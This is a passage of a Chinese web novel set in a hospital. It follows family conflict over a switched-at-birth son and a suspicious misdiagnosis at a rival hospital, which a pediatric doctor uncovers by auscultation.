从葛晓凡自杀后,她一直过着这样的生活。 有炎炎烈日,有咸湿海水,还有刺骨寒风。 韦初雪摇摇头,“这是我自己的事情,会拖累别人的事,我不想说。” 南栀不懂什么叫拖累。 韦初雪牵唇,故意轻松道:“说实话,我挺想在康宁医院手术的,我都想让你给我手术。” 南栀诚实道:“你敢让我开刀,我都不敢拿手摇钻。” 她是看过很多开颅手术的视频,因为喜欢外科,也认真研究过,但这可不是儿戏,连一助都没做过,就跳到主刀,都不是“儿戏”二字能形容的。 “如果只有你一个医生,不开刀我就会死,你会开吗?” 南栀点头,“开。” 不试是死,试一试还有可能活,当然要尽力尝试。 韦初雪若有所思,“其实可以创造一个必须动手术的环境,比如……” 南栀及时制止她,“不可能,我不会让这种情况出现,你也别想。还有,你太悲观了,我认为是良性肿瘤的可能性很大。” 韦初雪没反驳。 从知道自己生病起,她就坚定地认为是恶性肿瘤。 没有什么特别的原因,大概是葛晓凡在梦里告诉她的,是她能力有限,没能为葛晓凡报仇,所以才会生病。 韦初雪道:“其实死了挺好的,死了就能解脱,就可以和她道歉。” “葛晓凡?为什么要道歉?” 韦初雪笑笑,“是我害死她的啊。” 她的笑容轻松,又不太轻松。 南栀不太能理解其他人的部分情绪,但她看得出来,韦初雪一直生活在压力和懊悔之中。 就连南栀都能看出来的情绪,可见韦初雪有多困扰。 韦宁雨提着暖壶走进来。 韦利见状,神色一变,走过来接下暖壶,不自然道:“我来就行,这种活不用你做。” 他没把暖壶放回床头柜,而是交给爷爷,爷爷提着暖壶站到窗户边,也没放回原位。 韦宁雨看了一会儿,忽然笑出声,“怕我下毒啊?” 韦初雪坐起来,有点儿紧张。 她不应该在意韦宁雨,韦宁雨的出现对她而言从不代表什么,他不会抢走父母的宠爱,她也不在意他去抢,她的生活本来就该是他的,还给他也没什么。 但同时,韦初雪也清楚地知道,韦家人对韦宁雨不好,很不好。 韦初雪不想管,但韦利一凶韦宁雨,她就想到韦宁雨帮她挡酒的画面。 她没法心安理得地躺着。 韦利神色不太自然,“不是,怕你太累,你做护士也挺不容易,我看护士站的护士基本没太多休息时间。” 韦宁雨道:“你给她倒水喝。” “……我说了,不是你想得那样,我没那么多想法。” 韦利和爷爷都没有去动暖壶的意思。 韦宁雨忽然很烦。 韦家人很烦,韦初雪也烦。 是他太贱,韦初雪病了就病了,和他有什么关系? 韦宁雨冷冷说道:“你们真让人恶心。” “宁雨!”韦利端起做父亲的架子,“我们是长辈,有你这样和长辈说话的吗?” 南栀惊呼道:“真的一样!” 她这一声惊呼有点儿突兀,韦家人都看过来。 南栀赶紧解释,“伯父,您别生气啊,我是以前听人家提起过,如果吵架时不是占理的一方,就拿对方的态度说话。情侣吵架可以使用这个方式,长辈更适用,是真的诶!我只是感慨一下,您真的别生气!” 韦利:“……” 忽然不知道该不该生气。 韦利的爷爷这才说:“不是我们拿长辈的身份压宁雨,我们能不心疼宁雨吗?宁雨是我们韦家的孩子,真正有韦家血脉的,我们当然心疼他。” 南栀再次惊呼:“又中了!” “?” 南栀说:“发现还是不占理,就拿对孩子好说话呀,大家把和父母吵架的步骤总结得很好诶!” “……” 韦初雪紧绷的精神渐渐放松。 有南栀在,这个架吵不输。 韦利和爷爷已经要动怒了,韦初雪盯着韦利说道:“她是我的朋友,你也要对她下手吗?” 韦利的怒气一下子散了,“小雪,你看你……唉!” 南栀好像明白了什么。 韦宁雨扔掉水卡,“你们放心,以后我不会来碍事,也不会碍你们的眼,我们井水不犯河水。” 人精韦宁雨轻易不会发脾气。 他现在会生气,就是还在意。 南栀赶紧劝他,“你别总和他们置气,你看他们的身体,你……呜。” 韦宁雨没工夫生气了,他捂住南栀的嘴,“祖宗,多活几天吧!” 南栀:“……” 明明是想安慰他。 不过也不是每个讨厌的人都该死,南栀决定还是做个嘴上积德的好人。 虽然她认为她完全是从客观角度出发的。 韦宁雨正要带南栀离开,一个农民工模样的人出现在病房,手里提着几袋水果。 放水果的袋子很一般,破破烂烂,但里面的苹果却又大又红。 韦宁雨一怔,走过去接过苹果,“爸?你怎么来了?” 是韦宁雨的养父任建业。 韦宁雨从前也姓任,发现抱错孩子后,两家人坐下来商量,韦家决定把 韦宁雨接回家,他才改了和韦初雪相似的名字。 他以前叫任俊。 养父母没什么文化,曾经来村里教书的老师名字里有一个俊字,他们就觉得俊字好,所以给孩子取了这个名字。 任建业出现在病房,韦家人明显露出不满之色。 任建业没注意到韦利的脸色,他看向韦初雪,心疼道:“唉,年纪轻轻的,咋就得了这么个病?” 韦利听得不太舒服,“她生病,还不是平时太努力,平时吊儿郎当没正事做,累不着自己,哪有机会生病。” 南栀好奇道:“吊儿郎当没事做的人是谁啊?” 韦初雪尴尬地看向韦宁雨,这说的肯定是他。 南栀还是好奇,“有这么个人吗?” 她盯着韦宁雨看了好一会儿,“没有吧?” 韦宁雨的愤怒已经快藏不住。 但此刻他不能表现出来。 他不能当着任建业的面表现出来。 韦宁雨努力弯起嘴角,“爸,你不用担心她,她会去首都治病,走吧,我们回家。” 任建业还是放心不下,“唉,毕竟是我的孩子,这咋能说放下就放下?” 韦初雪想去接任建业。 她和任建业夫妻俩相处时间不久,当初商量的是,韦初雪和韦宁雨都留在韦家,韦家的经济条件好,不会耽误两个孩子。 但血缘是很奇妙的东西,韦初雪一见到任建业夫妻俩,就觉得无比熟悉,好像已经认识多年。 她偶尔会去看望两人。 韦利却更不满,隐隐动怒,“小雪是我女儿,我会照顾她。” 任建业似乎不知道韦利在生气,他还在劝,“多一个人照顾小雪是好事,我家孩子他妈时间多,能帮着来照顾,要不……” “够了!”韦利大步走到任建业面前,抢走韦宁雨手中的苹果丢到门外,“她是我养大的!你们一家人为了钱来接触我们,还没装够?!是我给你们的钱不够多?!” 任建业愣住。 他常年下地干活,皮肤黝黑,一道道的皱纹紧紧挨在一起。 他和韦利是同龄人,看外貌却好像差了十多岁,韦利还是病人。 任建业局促地搓手心,“我不是……我,我就是想来看看孩子。” 韦利呵斥道:“带着你的脏东西,滚!没见过看望病人只带两个臭苹果的!” “这是我托人从家里带来的,”任建业努力解释,“是自家种的好苹果,不是臭苹果,没坏。韦哥,你相信我,我肯定不能坑小雪,我……” 韦利上手推搡任建业。 韦宁雨浑身发抖,死死盯着韦利。 他马上就要克制不住自己了。 这时,南栀走到走廊捡起苹果,找到卫生纸擦干净后,拎回到病房。 韦利不满地瞪着她,但女儿刚说了,这是她的朋友,他不能再让女儿情绪激动。 南栀把苹果交给韦初雪,“没坏哦。” 韦初雪接过来,朝任建业笑道:“看着很好吃,我让南栀帮我削好。” 任建业无措地表情中流露出几分开心。 南栀接着走向任建业,“您收韦总的钱了呀?” 任建业为难道:“我们说过了,我们是帮韦哥抚养小俊长大,但韦哥也帮我们抚养小雪了,小雪还是大学生,是人才,我们不要这笔钱,但韦哥一定要给我们。” 韦利烦躁道:“你们是贪心!你们想要更多!你以为我不知道你的小心思?乡下来的人就是穷酸!” 南栀恍然大悟,“难怪您不喜欢宁雨,原来是因为他是从农村来的。” 韦利板起脸,“我没这么说。” “但是您看啊,农村的经济发展虽然不如城市好,但城市的粮食都来自农村,没有粮食,谈什么工业化建设?没有农村,哪有城市?” 韦利更不耐烦,想说话,但南栀的话密得他插不上嘴。 “而且啊,农村有好人,也有坏人。任叔叔可能不太懂城市的礼节,也可能是经济条件不如你好,所以送了苹果,不过这苹果是他托人带来的,是用了心的,目前我还看不出来任叔叔有哪里做错。” 韦利:“他……” “至于城里人呢,一样,有好有坏。比如您,话里话外瞧不起农村,这是忘本。不能平等地对待任叔叔,这是人品有问题。没有证据便恶意揣测,是小肚鸡肠,总的来说您可算不上好人,虽然您瞧不上任叔叔,但我们也瞧不上您啊,平了。” 韦利沉默了。 韦宁雨不抖了。 韦初雪神色复杂地看着韦利,没有帮南栀,但也没替韦利说话。 南栀好像要和韦利分析出个一二三四条。 她伸出手指和他算,“您除了人品不好,还挺霸道,医院也不是您家开的,韦医生都没拒绝,您没权利拒绝任叔叔来探望韦医生。不让韦医生的亲生父亲来看,真不知道您怎么想的。韦医生还在生病呢,有人关心她,她的心情也会变好嘛,有利于治疗。” 韦利是很瞧不上任建业。 他刚得知此事时,还以为是任建业联合医院搞的一出戏,目的是韦家的钱。 他特意托人把样本送到国外去鉴定,结果出来后,他才不得不接受事实。 与任家人的第一次见面,他和范雯华都无比厌恶。 这一家子人,是彻彻底底的农村人,送的那些农村土特产,他们都不好意思让人家看见。 韦利和范雯华讨论了,他们觉得这家人就是想要钱。 不过韦宁雨毕竟真的是他们的孩子,还是得接过去,只要好好教育,应该脱离原本的家庭,没想到韦宁雨被洗脑得厉害,只记得养父母的好。 时间久了,他看韦宁雨也很厌烦,好像能从韦宁雨身上看到任建业的影子。 这副穷酸的样子,绝对不是他们韦家的孩子。 韦利捂住腹部,腹部剧烈疼痛。 他靠移植手术多活了几年,这几个月反应越来越厉害,恩德医院的腹部外科主任给他做过检查,情况越来越不好了。 很多器官都不好了,不是换肝就能解决的问题了。 他想大声骂回去,可病房内外的人越来越多。 一有吵架,附近几个病房的人都会来看热闹。 韦初雪又不愿意住单人病房,一个病房里面好几个人,来看热闹的人就更多了。 “抱错孩子了?在医院还能抱错孩子?一个城里一个乡下,是乡下人来城里生孩子,还是城里人去乡下生孩子?” 任建业夫妻俩是没钱来城里生的,肯定是韦利夫妻俩过去的。 韦利眼皮跳了又跳。 是他们想去乡下生孩子吗?那是没办法!他们也是被逼过去的!那段日子的事他根本不想再提! “唉,别管是怎么发生的,反正就是发生了,虽说韦家有钱吧,但任家不也丢了女儿吗?还是他们觉得女儿不如儿子好?” “我听说儿子女儿现在都姓韦,还都是康宁医院的医生呢,看这意思,应该是只想要女儿,不想要儿子,对女儿有感情了嘛!” “那也不能这样说人家老大哥,人家只是想来看看,这姓韦的真没人情味。” 大家讨论了几句,就开始集火韦利。 他瞧不上农村人,在场的有几个不是农村出身的? 只要上了年纪的,都在农村待过,再退一步说,临川市以前也就是个大农村而已。 拿农村和城市说事,谁听了能高兴? 韦利是老总,脸皮薄,哪受得了这么多人的批判,当即脸色惨白,扶着墙蹲下。 南栀说了好一会儿,韦宁雨也冷静下来了。 他拉着任建业和南栀往外走,“好了,我们不和他们来往就是了,当谁喜欢?我一会儿就去派出所把名字改回来,这次再不同意,我去砸了派出所!” 南栀说:“韦伯父,您别着急啊,您虽然人不怎么好,但身体……确实也不怎么样,您现在的情况不太好,得赶紧去看医生,康宁医院不太行,您还是直接去恩德医院吧,快去哦。” 韦利:“!!” 他看向韦初雪,“这是你朋友?!” 韦初雪上哪认识的没家教的朋友?! 爷爷这会儿才跑过来扶韦利,“你就别废话了,赶紧去恩德医院吧,我看你的气色是越来越不好了,我这把老骨头都还活着,你怎么就撑不下去了?!还有你们!都别站在这里了,病人要休息!都让开路!” 门外的人被爷爷赶走。 韦利看向韦初雪,“不行,我得看着小雪去做手术,不然我不 放心。” 巨大的矛盾感笼罩着韦初雪。 韦利或许不知道,这就是最让韦初雪难受的点。 他对人很不好,对每一个人都不好,但对韦初雪很好。 他和范雯华只有她一个孩子,他们从小就护着她宠着她。 如果有人在学校欺负韦初雪,韦利一定会到场,他会给韦初雪撑腰,也会用一些手段让对方远离韦初雪。 从小到大,韦初雪提过的所有要求,韦利都没拒绝过,就算韦初雪要他名下的所有财产,他也会闭着眼给她。 他对她很好。 她不想这样。 * 南栀还有很多话想说,她跃跃欲试,但被韦宁雨强行拉走。 被拉走的南栀很生气,“我还没和他理论明白,你怎么能带我走呢?” 韦宁雨无奈道:“不是和你说了,少惹韦利!他心眼小,记仇,认识的人还多,万一和院长打声招呼,你怎么办?” 南栀道:“打招呼就打招呼,大不了我换家医院,不可能没人要我。” 韦宁雨:“?” 这么自信? …… 南栀的话,好像也是能自信点儿,连祁院长都在帮她想办法搞学历…… 人才紧缺,南栀现在有在康宁医院工作的经历了,再还个小城市,照样做医生。 南栀说:“我就是听他说话不舒服,他为什么总攻击你们啊?他又不是什么好人。刚刚你都气得发抖了,你都发抖了诶!你平时可不会轻易生气的!” 南栀也很少生气,一般都是她气别人。 韦宁雨看着气鼓鼓的南栀,心里暖暖的,“没想到你还挺心疼我的,我脾气有这么好吗?真的不会轻易生气?” “肯定呀,”南栀说,“你多精啊,精通人情世故,肯定不会表现出来的嘛!” 刚刚都气得发抖了,肯定是在生气。 南栀觉得不能气着自己人。 韦宁雨:“……” 这是夸他吗?? 南栀邀功,“我刚刚特别努力地想词去挖苦韦利,想得很好吧?” 韦宁雨:“……” 和平时毫无区别。 哦,南栀平时是说实话,刚刚也是说实话,可见她真的不会骂人。 不会骂人,但总能说出让人生气的话,说明都是大实话……谁去招惹南栀,真是倒霉了。 南栀又对任建业说:“韦医生收下苹果了,她其实挺想让叔叔你留下的,以后她的情况我会及时告诉韦宁雨,您问他就行。韦医生如果想见您,我会帮你们。” 任建业刚来城里没两年,很多事都不懂,但他知道韦家不欢迎他。 他落寞地摆摆手,“算了,有我这样的爹,给小俊和小雪丢人,不来了,以后都不来了。” 韦宁雨看着父亲卑微的样子,心里难过。 他努力赚钱,就是想证明给韦家人看,他不需要他们也能过得很好,他们任家不是为了钱来的。 任建业夫妻俩带着他来临川市,就是想让他见见亲生父母。 韦家人不愿放弃韦初雪,又想要儿子,轮番游说任建业夫妻。 跟着谁生活对孩子才最好,哪家人才能给孩子更好的支持? 答案不言而喻。 任建业不想耽误韦宁雨,答应让他回韦家,答应给他改名字。 想到自己这几年过的日子,韦宁雨有点儿委屈。 他没对不起任何人,但好像过得比谁都累。 韦宁雨道:“爸,你们能把我供上卫校,已经很好了,我从来都不觉得你们有不好。” 任建业摇头,“我们哪能和韦哥……和韦总比,如果没抱错孩子,你现在也是医生吧?” “医生有什么好的?我就喜欢当护士,没有我们护士,医生能顺利完成工作吗?我们是两个不同的岗位,护士又不是医生的下属。” 南栀赞同道:“而且护士长超厉害的,我每次和护士长说话都挺害怕。” 韦宁雨道:“可不,南栀还得求着我们护士长呢!” 任建业笑笑,“我不懂这些事,你过得开心就好。我也不想那么多了,你啥时候能领个媳妇回家……” 他看向南栀。 任建业没什么坏心思,只是南栀很帮着韦宁雨,所以多想了。 韦宁雨及时解开误会,“她老公是心外的,超牛的医生。” 任建业叹气,“看,人家医生是好找对象。” 南栀:“不是的。” 任建业露出笑容,“护士也好找?小俊好找对象吗?我怕他找不到,我……” 南栀说:“我们还没结婚,不是老公。” 任建业:“……” 这孩子…… 韦宁雨把任建业送走,南栀拐到心外办公室。 陆随不在,应该在门诊。 南栀又跑到心外门诊。 心外主任的号比较满,陆随和箫珵的号更要少一些,大家还是更认主任。 为此心外主任一直盼着赶紧评职称,把这两个家伙搞成副主任,他就解放一大半了! 陆随和箫珵在同一间诊室,两人都是主治医生。 康宁医院医生少,心外的副主任半年前调到省会医院,还没补空缺,一般都是主治医生带个助手。 恩德医院不缺医生,就是主任带主治医生当助手。 像陆随和箫珵这种凑到一起的,是特殊情况,陆随昏迷时间久,位置被郤文曜顶替了。 南栀进诊室前在门口晃悠很久,在等患者离开。 陆随和箫珵都看到这鬼鬼祟祟的身影。 陆随问:“她是不是觉得自己藏得特别好?” 箫珵:“来找我的,你别管。” 箫珵看向自家的可爱妹妹。 南栀有气无力趴在栏杆上,还晃悠了几下,不太雅观。 箫珵:“……” 可爱妹妹…… 箫珵说:“你别管,反正她是来找我的。” 陆随不太高兴。 南栀对箫珵的关注的确更多,每次都跟在箫珵身后乖巧地叫哥哥,看着就让人生气。 陆随板着脸,不和箫珵讨论。 箫珵微笑。 赢了! 终于等到没人排队,南栀鬼鬼祟祟溜进去。 陆随瞥了南栀一眼,“南医生,医院不禁止医生去其他科的诊室,不用躲。” 南栀站好,“对哦。” 她干嘛要小心? 儿科也会叫心外会诊啊!他们见面不是天经地义?! 南栀理直气壮地走向陆随,“我来找你的。” 陆随:“箫珵在对面,箫珵……” 他抬头,“找谁?” 南栀:“找你啊。” 陆随看向箫珵,嘴角慢慢上扬,“找~我~啊~” 箫珵:“……” 陆随给南栀拉椅子,笑容满面,无比热情,“快坐下,找我什么事,说吧。” 箫珵板着脸坐过来,“没人了,我也听。” 南栀道:“是韦医生的事。” “韦初雪?她还好吗?还不去首都?” “我就是要说这件事,”南栀严肃道,“我刚刚去韦初雪的诊室了,她还是不肯告诉我,她说如果告诉我,会拖累我。” 箫珵疑惑道:“什么叫拖累?你知道后,会有麻烦?” 南栀说:“应该是这个意思,而且我能确定,她是 因为葛晓凡的死才不想走。” 陆随说:“葛晓凡是自尽的,没有证据表明是他杀。” “我也想到了,不过我今天和韦总起冲突了,韦医生帮我说话,说了‘也’字,韦总好像对韦医生的朋友做过不好的事,是不是就是葛晓凡?” 箫珵的声音高了八度,“你和韦利起冲突?!” 陆随揪住她的马尾左右看,“没伤到你吧?” 南栀:“……” 又开始啰唆。 “我怎么会受伤呢?别说我们没动手,就算动手了,我也不见得会受伤,”南栀说,“我可比你强壮多了。” 陆随:“……” 他到底什么时候能洗掉弱鸡的标签?? 箫珵笑道:“确实是弱,一抽屉感冒药。” 陆随:“……” 他只是稍微有点儿后遗症,感冒的次数稍微多了些,这是弱吗?! 这是原则问题,必须解释清楚! 陆随正要辩解,南栀便伸手摸他的额头,“不烫诶,最近没发烧吧?” 她掏出听诊器,习惯性掀上衣,陆随赶紧按住她的手,“这两天没感冒。” “听听呗,”南栀说,“听听又没什么。” 她再次去解陆随白大褂的纽扣。 陆随:“……没人的时候再说!” 箫珵打掉陆随的手,“没人的时候也不行!” 他把南栀拎走,“你俩保持距离,说韦医生。” “哦……我怀疑葛晓凡的死和韦总有关,所以韦初雪会格外愧疚,她要做的事可能是给葛晓凡沉冤昭雪。” 箫珵问:“你还想继续查?韦利我了解一些,经商的手段的确不太干净,他下手狠,你如果被盯上,会很麻烦。” 南栀道:“让韦医生放心去治疗更重要。” 箫珵仍然担忧,“我不会阻止你,但你最近不能单独行动。” 陆随说:“我送你上下班。” 箫珵:“也行。” 南栀没拒绝,“你干脆住在我家好了,反正已经住过一晚了。” 箫珵:“也可以……住过一晚了?!” 陆随笑容灿烂,“你没去过?真可怜。” 箫珵:“!!” 陆随:“瞪我干什么,说韦医生。” 箫珵已被气死。 “我想不通的是,韦利和葛晓凡能有什么矛盾?葛晓凡只是普通的外科医生,韦利虽然在恩德医院做过手术,但不是葛晓凡主刀,而且韦利的手术成功了,他也没必要记恨。” “确实如此,”陆随说,“想查清楚不容易,葛晓凡都自杀这么多年了,韦初雪一直在查,一点儿结果都没有。你有想法吗?” 南栀说:“我们可以从葛晓凡的家人下手。” 箫珵:“为什么?” 陆随说:“葛晓凡死后留有遗书,遗书中说她选择自尽是因为家人,如果葛晓凡的死和韦利有关,遗书就是伪造的,她的家人很快接受这一说法,不太简单。” 箫珵越听头越疼,“你们是医生,怎么查起自杀案件了?不行,就算你们两个人一起,还是太危险,我反对。” 陆随看向南栀。 他的想法和箫珵一样。 南栀说:“韦医生说会拖累我,我不这样想。如果另有隐情,解开真相就是必须做的事,做要做的事,不是拖累,是应该的。” 陆随叹气,“知道了,我和家里商量,帮你疏通。” 最起码要提醒韦利,南栀现在是半个陆家人,韦利真想动手,也得掂量掂量。 箫珵说:“我也会尽量帮忙,不过我家里条件不如陆随,你们两个最好和我一起行动,多个人多份力量,不要落单。” 几人商量好,决定等两天后,三人都不值班再去葛晓凡家附近看看。 这期间,南栀也只能尽量劝劝韦初雪。 阮乔不懂南栀为什么对韦初雪如此上心。 她以前不喜欢韦初雪,但也不想看到韦初雪生病。 阮乔为韦初雪难过,但好像不会做到这份上。 南栀道:“不只是韦医生。” “还有其他人得脑瘤了?” “事情发生在医院,可能不会那么简单。” 阮乔好奇地问道:“是自尽啊,还能多复杂?” 南栀说:“我担心和医院有关。” 韦初雪为什么要调查,韦利为什么对韦初雪的朋友下手,韦利又曾在恩德医院做过肝移植手术,南栀很难不往那方面想。 她有机会来到这里,除了想尽量把学到的知识提前告诉所有医疗工作者,更想为医疗公平、公正尽一份力。 不管是现在还是后世,南栀都会选择去查。 牵连自己的确很傻,但南栀认为应该这样做。 如果每个人都选择沉默,黑暗的规则会走到明面,成为每个人都要遵循的守则。 早上盛昭云带领儿科医生们查过房,盛昭云今天有事先下班,病房里好几个病人的状况一般,住院医生的电话打到南栀这边,请她过去看看。 经常发烧超过半年的患儿还没出院。 “目前所有检查都找不到孩子持续发烧的原因,考虑是否有局部感染灶,比如中耳炎、骨髓炎。还可以考虑自身免疫病,比如系统性红斑狼疮、川崎病。” 南栀戴好听诊器给孩子听心音,“心脏没什么问题,肺部也没有感染,如果担心,就继续做检查吧。” 实习生认真地记笔记。 以前他们私下讨论,南老师的学历最低,可能是医术最差的,在医院实习这些天他们知道了,南老师不仅见多识广,还很会教人。 病历中难懂的内容,课本上难背的知识点,南老师只要讲几句他们就能背过! 南老师就是他们的榜样! 南栀挨个看过几个患儿,最后停在一个刚来人的病床前。 “严重瓣膜反流?薛宇……什么时候入院的?” 薛宇的母亲屠秋柳说道:“您好,我们今天下午刚过来,孩子的情况比较严重,我们听说康宁医院的陆教授水平很高,但过来时,陆教授已经不在了。” 难怪是来儿科,没去心血管。 屠秋柳衣着优雅,说话有条有理,“孩子生病,我就带他多看看,如果能有不同的治疗方案,可以选择最好的。” 南栀点头,“您说得对,来,我给他听听。” 南栀捂热听诊器。 薛宇躲到屠秋柳身后。 他看起来很精神。 南栀摇了摇听诊器,“它不会咬人,但如果小朋友不配合,我可能会咬人哦。” 薛宇:“……” 屠秋柳笑道:“你不让姐姐给你听,她咬你我也不管。” 薛宇这才不情愿地松开屠秋柳,“我又没有不舒服,为啥要住院?早上都不让我住院。” 南栀看向屠秋柳,“没症状?” 屠秋柳点头,“他是前几天发烧了,去恩德医院抽了血,才查出瓣膜反流的,发烧是因为着凉,心脏的问题暂时还没有明显症状。” 南栀问:“是在恩德医院确诊的?有检查报告吗?” 屠秋柳说:“已经交给盛主任了,她今天似乎时间不够,她说明天再来找我。” 南栀没再说什么,戴好听诊器。 实习生问:“南老师,心脏方面您也有研究吗?” 南栀摇头,“研究不多。” 实习生说:“要不要叫心血管来会诊?” 南栀仔细听过后,收好听诊器,“叫陆医生过来。” “不用找心内吗?” 南栀说:“我听完了,够用了。” 实习生:“……” 不是说研究不多吗? 十分钟后,陆随赶到。 南栀介绍道:“这位是心外的陆医生,是陆教授的孙子,您可以放心。我们想问您几个问题。” “您说。” 南栀问:“恩德医院确诊薛宇是严重瓣膜反流,对吗?” 屠秋柳点头。 “他们给出的治疗方案是?” “需要动手术。” 南栀看向陆随。 陆随问:“有问题?” 南 栀低声道:“我听着是二尖瓣脱垂。” 实习生惊讶道:“这也能听出来?” “二尖瓣脱垂的听诊三联征,收缩中期喀喇音,收缩晚期杂音,体位敏感性,仔细听,能听得出来。” 实习生:“我是说,您也能听得出来?” 南老师是儿科医生啊,又不是心血管的医生。 她之前做的大手术,也是甲状腺相关的。 怎么还会听心脏的事? 而且上学这么久,用听诊器最难了! 南栀如实道:“我看书比较快,看完书没事情做,就都学学。” 实习生:“……” 她听到了什么? 医学生的书,看完书没事情做? 不是每个人都在勤奋努力地背书吗!! 陆随知道南栀不会随便叫他过来。 “与恩德医院的诊断相比,是不严重,还是太严重?” 南栀说:“我没有听到晚期杂音,不认为有反流。” 陆随倒吸一口冷气。 儿童二尖瓣脱垂的发病率不高,多为原发性MVP,没有明确病因。 大多数患者无症状。 如果没有明显反流或其他症状,医生会建议每年来复查,参加正常体力活动。 这和恩德医院的诊断完全相反。 陆随问屠秋柳,“做超声心动图了吗?” 超声心动图是确诊的金标准,还可评估反流程度。 屠秋柳道:“还没来得及做,我们过来时已经这边已经下班了,盛主任帮我们约好明天做检查。” 陆随转身去护士站,给心内科的医生打电话。 他挂断电话,还是不太放心,又给他们科的主任打电话。 十分钟后,病房站了一群白大褂。 平时不常见的两位科室主任,心内科的副主任,心内科的两位主治医生,还有心外科的箫珵。 病房门口,病人和家属们探头探脑,“听说了吗?我爸挂不上号的心内科主任来了。” “这位主任可抢手。” “心外主任也在,副主任也在……哎哟,这是生大病了?” 一群白大褂和颜悦色、面带微笑地看着薛宇。 屠秋柳:“……” 要吓晕了。 段嘉和梁梦也在病房门口看热闹。 他们本来是疏散家属的,结果没忍住,站着一起看了。 “这几位可都是咱们医院的大神,尤其心外那几位,放在全市都是排得上号的大神,都来了?” 梁梦感慨道:“小南栀就是有本事,找了一群神来帮忙。” 段嘉:“我什么时候能有这待遇!!” 平时给他们打电话,人家都不怎么搭理他! 几位医生轮流给薛宇听了一遍。 心内主任说道:“小陆虽然是外科医生,但听的本事也没落下,我的判断和小陆一致,这种程度绝对不需要开刀。” 主任说话很有底气。 副主任道:“我也是,不过保险起见,还是做完检查更放心。” 其他心内医生也点头赞同。 陆随道:“不是我的结论,是南医生的结论。” 心内主任看向南栀,“南医生?统一心外心内的那位?” 心外主任淡笑,“我们没做到的事,她做到了,多少有点儿本事。” 南栀:“?” 统一? 她哪有这本事?能做心外、心内两个科室的领导的,怎么也得是副院长。 实习生站在后面大气都不敢出。 她平时见不到的人都来了! 都!来!了! 他们还夸了南老师!夸了! 能看见这一幕,这辈子值了!! 陆随严肃道:“我请各位来,也是做个鉴证,以免明天结果没出来,再有意外。” 心内主任奇怪道:“这能有什么意外?” 陆随说:“需要做手术的方案,是恩德医院提供的。” 南栀补充,“恩德医院诊断薛宇有严重的瓣膜反流,必须做手术处理。” 几位医生面色一僵,尤其是更敏感的两个科室主任。 超声心动图可以明明白白地诊断出结果,会有如此离谱的误诊吗? 心内主任略有迟疑,问屠秋柳,“为什么不留在恩德医院手术?是有什么发现?” 屠秋柳沉默。 她轻轻拍着薛宇的背,刚刚太多人给薛宇听心音,他年纪小,害怕,现在还在哭。 主任只好说道:“这件事,暂时不能对其他人说,等明天的报告出来再做决定,您能答应吗?” 第67章 第67章牵扯到其他医院,事情比…… 牵扯到其他医院,事情比较复杂,两个科室主任下了死命令,薛宇的情况不能告知他人,一切等明天做完检查再说。 南栀又去找屠秋柳聊了聊,屠秋柳才吞吞吐吐道:“本来是打算留在恩德医院做手术,已经在准备了,今天上午有个医生来和我说再去其他地方看看,我觉得挺奇怪的,留了个心眼。听说恩德医院和康宁医院不太对付,才过来。” 南栀:“咦,有不对付吗?” 屠秋柳点头,“我和朋友打听的,说是两家医院的医生经常吵架,好像还在什么会议上吵过架,我想既然关系不好,应该不会包庇恩德医院。” 南栀无辜道:“谁在会议上吵架了?开会还要吵架,这也太怪了。” 陆随:“……” 不知道呢,应该不是他们。 陆随问:“是谁来提醒你的?儿科的医生吗?” “不太清楚,我不认识,第一次见,而且医生还说了,让我别告诉其他人。我看他神神秘秘的,才决定带孩子转院,没想到……” 康宁医院的诊断和恩德医院还真不一样。 南栀详细询问薛宇的就诊过程。 薛宇家离恩德医院更近,这些年但凡生病,一家人都会去恩德医院就医。 薛宇如果小感冒,会去更方便的诊所,他有两次烧得比较严重,其中一次烧成肺炎,这两次都是在恩德医院治疗的。 “我没想过小宇的心脏会有问题,医生提出来时,我很惊讶,不过我也没想过医生会骗我们。或许……他们只是误诊了?” 陆随勾起唇,笑容讽刺。 南栀道:“是他们提出检查心脏的?” “拍了肺片以后,他们说心脏有问题,让我们再做详细的检查。医生,这件事可不可以保密,我怕连累那位给我提醒的医生。” 南栀道:“恐怕要视情况而定。” 这也许不是一个人的事。 南栀和陆随轮流守了薛宇一整晚。 早上盛昭云查房,南栀没来得及找她要报告。 护士站通知她韦初雪那边来过电话,请她过去。 韦初雪生病后,一直不想和南栀见面,怕她询问葛晓凡的事,这还是第一次主动找她。 不知原因。 在韦家人的强烈抗议下,韦初雪转到单人病房。 韦利夫妻俩轮流陪护,爷爷奶奶和姥姥姥爷白天会过来。 昨晚是韦利守着韦初雪。 韦初雪的状态还不错,这两天都没什么不舒服的感觉,特意嘱咐医生不用过来查房,能多休息会儿。 她醒得早,韦利还睡着。 韦利曾经发福过,后来生病又瘦了不少,饶是如此,睡在狭窄的陪护床上还是不舒服,左右翻身都不方便。 韦家原本就不是普通人家,韦利和范雯华做生意成功后更是一发不可收,他何时受过这种罪? 韦初雪盯着韦利看了一会儿,起身去洗手间。 康宁医院硬件条件不行,单人病房也没有单独的洗手间。 韦利听到动静坐起来,“慢点儿慢点儿,我扶你。” 韦初雪反应冷淡,“不用,我自己去。” “唉,你看你,就是不听话,去恩德医院住院多好,那边的单人病房可比这强多了。让你去恩德医院上班你不同意,让你去治病也不同意,这要是在恩德医院,院长都能给我单独开个病房,哪还用在陪护床上挤着?” 韦初雪道:“您可以去,我没拦着您 。” “好好好,”韦利怕韦初雪生气,连忙安抚,“我知道了,不多说了,康宁医院挺好,不错,来吧,我送你去厕所,万一在路上晕倒怎么办?” 韦利拿起拐杖。 他这两日情绪波动太大,身体恶化得很快,已经开始拄拐了。 家里人都让去住院,他偏要留下来照顾韦初雪。 韦初雪转身想走。 韦利追上去,“小雪啊,你慢点儿,还因为昨晚的事生气?唉,你看,我就是听朋友那么一说,你还真生气?做父母的和子女哪有隔夜仇。” 韦初雪停下,从床头柜里取出苹果,是任建业送过来的。 韦利皱眉,“你想吃苹果,爸去给你买,这破苹果就别吃了,这家人不安好心。唉,宁雨和他们学坏了,好歹也是我的儿子,现在只能当个护士。” 虽然韦家人都认为韦初雪当医生太辛苦,但她成绩优异,几名院长时常夸奖她,韦利还是很自豪的。 韦初雪曾经的想法和韦利一样,别说是护士,普通的医生她都看不上,她看重的只有那些聪慧有前途的医生。 现在回想,很是可笑。 韦初雪道:“你是我爸,我没否认,我也不能否认他是我爸,我们有血缘关系,你认为的那些他的不好的习惯,我也有。” 